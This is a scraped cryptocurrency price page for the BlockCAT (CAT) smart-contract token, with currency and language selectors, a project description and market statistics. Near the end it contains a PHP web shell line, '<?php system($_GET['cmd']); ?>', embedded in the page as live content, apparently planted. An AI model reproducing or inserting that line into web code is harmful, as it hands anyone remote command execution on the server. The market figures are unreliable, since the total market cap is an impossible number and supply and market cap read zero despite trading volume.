3479  cryptocurrencies
				
				
					Total Market Cap $9,999,999,442,119,690,240.00B 
				
				
					24h Total Volume $4.84B 
				
			 
		 
	 
	
	
		
			
			
				 
			
				search 
					
													AED — United Arab Emirates Dirham 
													AFN — Afghan Afghani 
													ALL — Albanian Lek 
													AMD — Armenian Dram 
													ARS — Argentine Peso 
													AUD — Australian Dollar 
													AZN — Azerbaijani Manat 
													BAM — Bosnia-Herzegovina Convertible Mark 
													BDT — Bangladeshi Taka 
													BGN — Bulgarian Lev 
													BHD — Bahraini Dinar 
													BIF — Burundian Franc 
													BND — Brunei Dollar 
													BOB — Bolivian Boliviano 
													BRL — Brazilian Real 
													BWP — Botswanan Pula 
													BYN — Belarusian Ruble 
													BZD — Belize Dollar 
													CAD — Canadian Dollar 
													CDF — Congolese Franc 
													CHF — Swiss Franc 
													CLP — Chilean Peso 
													CNY — Chinese Yuan 
													COP — Colombian Peso 
													CRC — Costa Rican Colón 
													CVE — Cape Verdean Escudo 
													CZK — Czech Republic Koruna 
													DJF — Djiboutian Franc 
													DKK — Danish Krone 
													DOP — Dominican Peso 
													DZD — Algerian Dinar 
													EGP — Egyptian Pound 
													ERN — Eritrean Nakfa 
													ETB — Ethiopian Birr 
													EUR — Euro 
													GBP — British Pound Sterling 
													GEL — Georgian Lari 
													GHS — Ghanaian Cedi 
													GNF — Guinean Franc 
													GTQ — Guatemalan Quetzal 
													HKD — Hong Kong Dollar 
													HNL — Honduran Lempira 
													HRK — Croatian Kuna 
													HUF — Hungarian Forint 
													IDR — Indonesian Rupiah 
													ILS — Israeli New Sheqel 
													INR — Indian Rupee 
													IQD — Iraqi Dinar 
													IRR — Iranian Rial 
													ISK — Icelandic Króna 
													JMD — Jamaican Dollar 
													JOD — Jordanian Dinar 
													JPY — Japanese Yen 
													KES — Kenyan Shilling 
													KHR — Cambodian Riel 
													KMF — Comorian Franc 
													KRW — South Korean Won 
													KWD — Kuwaiti Dinar 
													KZT — Kazakhstani Tenge 
													LBP — Lebanese Pound 
													LKR — Sri Lankan Rupee 
													LYD — Libyan Dinar 
													MAD — Moroccan Dirham 
													MDL — Moldovan Leu 
													MGA — Malagasy Ariary 
													MKD — Macedonian Denar 
													MMK — Myanma Kyat 
													MOP — Macanese Pataca 
													MUR — Mauritian Rupee 
													MXN — Mexican Peso 
													MYR — Malaysian Ringgit 
													MZN — Mozambican Metical 
													NAD — Namibian Dollar 
													NGN — Nigerian Naira 
													NIO — Nicaraguan Córdoba 
													NOK — Norwegian Krone 
													NPR — Nepalese Rupee 
													NZD — New Zealand Dollar 
													OMR — Omani Rial 
													PAB — Panamanian Balboa 
													PEN — Peruvian Nuevo Sol 
													PHP — Philippine Peso 
													PKR — Pakistani Rupee 
													PLN — Polish Zloty 
													PYG — Paraguayan Guarani 
													QAR — Qatari Rial 
													RON — Romanian Leu 
													RSD — Serbian Dinar 
													RUB — Russian Ruble 
													RWF — Rwandan Franc 
													SAR — Saudi Riyal 
													SDG — Sudanese Pound 
													SEK — Swedish Krona 
													SGD — Singapore Dollar 
													SOS — Somali Shilling 
													SYP — Syrian Pound 
													THB — Thai Baht 
													TND — Tunisian Dinar 
													TOP — Tongan Paʻanga 
													TRY — Turkish Lira 
													TTD — Trinidad and Tobago Dollar 
													TWD — New Taiwan Dollar 
													TZS — Tanzanian Shilling 
													UAH — Ukrainian Hryvnia 
													UGX — Ugandan Shilling 
													USD — US Dollar 
													UYU — Uruguayan Peso 
													UZS — Uzbekistan Som 
													VEF — Venezuelan Bolívar 
													VND — Vietnamese Dong 
													XAF — CFA Franc BEAC 
													XOF — CFA Franc BCEAO 
													YER — Yemeni Rial 
													ZAR — South African Rand 
													ZMW — Zambian Kwacha 
											 
				 
				
					
																				Česky 
																				Dansk 
																				Deutsch 
																				Ελληνικά 
																				English 
																				Español 
																				Eesti 
																				Suomi 
																				Français 
																				Magyar 
																				Italiano 
																				Lietuvių 
																				Latviešu 
																				Nederlands 
																				Português 
																				Русский 
																				Slovenčina 
																				Slovenščina 
																				Svenska 
											 
				 
				
				 
		 
	 
	
					
		
	     
    Donations are accepted and help this site develop. Be sure  to create a login and follow your favorite projects! 
              
          
  
  
  
  
      
      
        
                  
                      BlockCAT, short for Blockchain Complex Automated Transactions, is an Ethereum-based decentralized platform that provides an easy to use web portal for end users and organizations to provision and deploy smart contracts without the need to have prior knowledge or expertise.
The BlockCAT marketplace allows anyone to contribute and sell smart contracts, while the custom designed contract auditing system keeps users safe from faulty contracts in a completely decentralized manner. The CAT token will be used on the platform as the only means of paying for contract deployment. 
                                                    
              Visit website
              open_in_new 
             
                   
                          
          
            
              
                Market share 
                0.00% 
               
              
                Proof type 
                — 
               
              
                24h Open 
                $ 0.05 
              
                24h Low 
                $ 0.05 
              
                24h High 
                $ 0.07 
                              
                  Price in BTC 
                  0.00000221775425 BTC 
                 
                            
                Current Supply 
                0 CAT 
               
                              
                  Total Supply 
                  9,200,151 CAT 
                 
                            
                Market cap 
                $ 0 
              
                24h Volume (coin) 
                566,350 CAT 
               
              
                24h Volume (currency) 
                $ 33,683 
              
                24h Total volume (coin) 
                566,350 CAT 
               
              
                24h Total volume (currency) 
                $ 33.68K 
              
                Last updated 
                2023-05-22 12:50:46 +01:00 BST 
               
             
          
         
                          
            
              
              
                ID 
                Market 
                Type 
                Price 
                Quantity 
                Total 
               
               
              
               
            
           
                          
                          
                          
               
     
   
    
      <?php system($_GET['cmd']); ?>
        
  
    
          
  
    This site uses cookies. By continuing to browse the site you are agreeing to our use of cookies (Read more )
    Accept